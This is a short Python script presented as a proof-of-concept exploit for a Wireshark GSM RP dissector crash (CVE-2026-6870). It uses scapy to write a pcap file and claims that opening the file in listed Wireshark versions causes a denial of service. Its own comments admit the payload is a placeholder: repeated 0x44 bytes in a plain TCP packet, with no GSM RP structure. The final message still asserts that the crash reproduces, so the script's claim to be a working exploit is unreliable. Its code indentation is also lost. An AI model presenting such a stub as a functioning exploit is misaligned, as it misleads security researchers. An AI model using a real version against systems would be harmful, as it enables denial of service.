The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
# PoC for CVE-2026-6870: Wireshark GSM RP Dissector Crash
# This script generates a pcap file with a malformed packet.
# Opening this file in a vulnerable Wireshark version triggers the DoS.
from scapy.all import *
import sys
def generate_poc():
# Construct a raw packet that simulates a malformed GSM RP structure
# Real crash requires specific bytes derived from fuzzing or advisory.
# This is a placeholder structure.
# Example: Malformed GSM RP Message Type or Length
# GSM RP PDUs are typically encapsulated in other protocols (e.g., TPDU).
# We create a dummy TCP packet containing the payload.
crash_payload = b"\x44" * 50 # Example payload bytes
# Craft packet
pkt = IP(dst="192.168.1.1")/TCP(sport=12345, dport=80)/Raw(load=crash_payload)
# Save to pcap
filename = "cve-2026-6870_poc.pcap"
wrpcap(filename, pkt)
print(f"[+] PoC file generated: {filename}")
print("[*] Open this file in Wireshark (v4.4.0-4.4.14 or v4.6.0-4.6.4) to reproduce the crash.")
if __name__ == "__main__":
generate_poc()